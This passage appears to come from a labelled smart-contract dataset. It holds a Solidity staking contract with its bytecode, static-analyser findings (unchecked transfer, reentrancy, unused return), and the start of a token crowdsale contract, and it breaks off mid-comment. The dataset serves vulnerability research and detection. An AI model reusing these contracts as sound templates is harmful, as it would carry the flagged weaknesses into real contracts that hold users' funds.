uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract YfDAIstaking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// yfdai token contract address
address public constant tokenAddress = 0xf4CD3d3Fda8d7Fd6C5a500203e38640A70Bf9577;
// reward rate 72.00% per year
uint public constant rewardRate = 7200;
uint public constant rewardInterval = 365 days;
// staking fee 1.50 percent
uint public constant stakingFeeRate = 150;
// unstaking fee 0.50 percent
uint public constant unstakingFeeRate = 50;
// unstaking possible after 72 hours
uint public constant cliffTime = 72 hours;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
uint private constant stakingAndDaoTokens = 7350e18;
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getStakingAndDaoAmount()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
} | 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063c326bf4f11610071578063c326bf4f14610429578063d578ceab14610481578063d816c7d51461049f578063f2fde38b146104bd578063f3f91fa0146105015761012c565b80638da5cb5b1461031d57806398896d10146103515780639d76ea58146103a9578063b6b55f25146103dd578063bec4de3f1461040b5761012c565b8063583d42fd116100f4578063583d42fd146101c35780635ef057be1461021b5780636270cd18146102395780636a395ccb146102915780637b0a47ee146102ff5761012c565b80630f1a64441461013157806319aa70e71461014f578063268cab49146101595780632e1a7d4d14610177578063308feec3146101a5575b600080fd5b610139610559565b6040518082815260200191505060405180910390f35b610157610560565b005b61016161056b565b6040518082815260200191505060405180910390f35b6101a36004803603602081101561018d57600080fd5b81019080803590602001909291905050506105b4565b005b6101ad610af9565b6040518082815260200191505060405180910390f35b610205600480360360208110156101d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b0a565b6040518082815260200191505060405180910390f35b610223610b22565b6040518082815260200191505060405180910390f35b61027b6004803603602081101561024f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b27565b6040518082815260200191505060405180910390f35b6102fd600480360360608110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3f565b005b610307610cc1565b6040518082815260200191505060405180910390f35b610325610cc7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ceb565b6040518082815260200191505060405180910390f35b6103b1610e5a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610409600480360360208110156103f357600080fd5b8101908080359060200190929190505050610e72565b005b6104136112e2565b6040518082815260200191505060405180910390f35b61046b6004803603602081101561043f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ea565b6040518082815260200191505060405180910390f35b610489611302565b6040518082815260200191505060405180910390f35b6104a7611308565b6040518082815260200191505060405180910390f35b6104ff600480360360208110156104d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061130d565b005b6105436004803603602081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061145c565b6040518082815260200191505060405180910390f35b6203f48081565b61056933611474565b565b600069018e71bd8a07f11800006001541061058957600090506105b1565b60006105aa60015469018e71bd8a07f118000061170a90919063ffffffff16565b9050809150505b90565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6203f4806106bf600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261170a90919063ffffffff16565b11610715576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806119b76034913960400191505060405180910390fd5b61071e33611474565b600061074861271061073a60328561172190919063ffffffff16565b61175090919063ffffffff16565b9050600061075f828461170a90919063ffffffff16565b905073f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561080657600080fd5b505af115801561081a573d6000803e3d6000fd5b505050506040513d602081101561083057600080fd5b81019080805190602001909291905050506108b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b73f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561093857600080fd5b505af115801561094c573d6000803e3d6000fd5b505050506040513d602081101561096257600080fd5b81019080805190602001909291905050506109e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610a3783600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170a90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a8e33600261176990919063ffffffff16565b8015610ad957506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610af457610af233600261179990919063ffffffff16565b505b505050565b6000610b0560026117c9565b905090565b60056020528060005260406000206000915090505481565b609681565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9757600080fd5b73f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c0f57610be761056b565b811115610bf357600080fd5b610c08816001546117de90919063ffffffff16565b6001819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c8057600080fd5b505af1158015610c94573d6000803e3d6000fd5b505050506040513d6020811015610caa57600080fd5b810190808051906020019092919050505050505050565b611c2081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610d0182600261176990919063ffffffff16565b610d0e5760009050610e55565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610d5f5760009050610e55565b6000610db3600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261170a90919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610e4c612710610e3e6301e13380610e3087610e22611c208961172190919063ffffffff16565b61172190919063ffffffff16565b61175090919063ffffffff16565b61175090919063ffffffff16565b90508093505050505b919050565b73f4cd3d3fda8d7fd6c5a500203e38640a70bf957781565b60008111610ee8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b73f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610f8b57600080fd5b505af1158015610f9f573d6000803e3d6000fd5b505050506040513d6020811015610fb557600080fd5b8101908080519060200190929190505050611038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61104133611474565b600061106b61271061105d60968561172190919063ffffffff16565b61175090919063ffffffff16565b90506000611082828461170a90919063ffffffff16565b905073f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561112957600080fd5b505af115801561113d573d6000803e3d6000fd5b505050506040513d602081101561115357600080fd5b81019080805190602001909291905050506111d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61122881600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117de90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061127f33600261176990919063ffffffff16565b6112dd576112973360026117fa90919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b603281565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461136557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561139f57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b600061147f82610ceb565b905060008111156116c25773f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561150f57600080fd5b505af1158015611523573d6000803e3d6000fd5b505050506040513d602081101561153957600080fd5b81019080805190602001909291905050506115bc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61160e81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117de90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611666816001546117de90919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008282111561171657fe5b818303905092915050565b6000808284029050600084148061174057508284828161173d57fe5b04145b61174657fe5b8091505092915050565b60008082848161175c57fe5b0490508091505092915050565b6000611791836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61182a565b905092915050565b60006117c1836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61184d565b905092915050565b60006117d782600001611935565b9050919050565b6000808284019050838110156117f057fe5b8091505092915050565b6000611822836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611946565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114611929576000600182039050600060018660000180549050039050600086600001828154811061189857fe5b90600052602060002001549050808760000184815481106118b557fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806118ed57fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061192f565b60009150505b92915050565b600081600001805490509050919050565b6000611952838361182a565b6119ab5782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506119b0565b600090505b9291505056fe596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea2646970667358221220da2d55256873a15e19bb2dcbcf2572321073c0cc7bbaa42061fce24daec1ece364736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,994 |
0xdc1fb43fbfff3ee41fa32c11ca6bf61e63a154ab | pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract TN is Ownable, MintableToken {
using SafeMath for uint256;
string public constant name = "TNcoin";
string public constant symbol = "TNC";
uint32 public constant decimals = 18;
address public addressTeam;
uint public summTeam;
function TN() public {
addressTeam = 0x799AAE2118f10d5148C9D7275EaF95bc0Cb6D6f9;
summTeam = 5050000 * (10 ** uint256(decimals));
// Founders and supporters initial Allocations
mint(addressTeam, summTeam);
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where Contributors can make
* token Contributions and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive. The contract requires a MintableToken that will be
* minted as contributions arrive, note that the crowdsale contract
* must be owner of the token in order to be able to mint it.
*/
contract Crowdsale is Ownable {
using SafeMath for uint256;
// soft cap
uint softcap;
// hard cap
uint hardcap;
TN public token;
// balances for softcap
mapping(address => uint) public balances;
// start and end timestamps where investments are allowed (both inclusive)
//ico
//start
uint256 public startIco;
//end
uint256 public endIco;
//token distribution
// uint256 public maxIco;
uint256 public totalSoldTokens;
// how many token units a Contributor gets per wei
uint256 public rateIco;
// address where funds are collected
address public wallet;
/**
* event for token Procurement logging
* @param contributor who Pledged for the tokens
